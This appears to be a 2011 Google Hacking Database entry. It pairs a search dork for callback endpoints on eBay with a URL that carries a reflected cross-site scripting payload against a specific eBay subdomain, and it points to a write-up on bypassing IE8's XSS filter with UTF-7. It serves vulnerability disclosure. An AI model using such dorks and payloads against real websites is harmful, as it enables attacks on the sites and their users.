CVE Certified
GHDB

site:ebay.com inurl:callback

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Google search: site:ebay.com inurl:callback

Hits: 2633

Submited: 2011-02-11

Returns:
http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?

then:
http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?xxxx%3Cimg%20src=1%20onerror=alert(1)%3E

Can also use: http://seclists.org/fulldisclosure/2011/Feb/199 XSS through UTF7-BOM string injection to bypass IE8 XSS Filters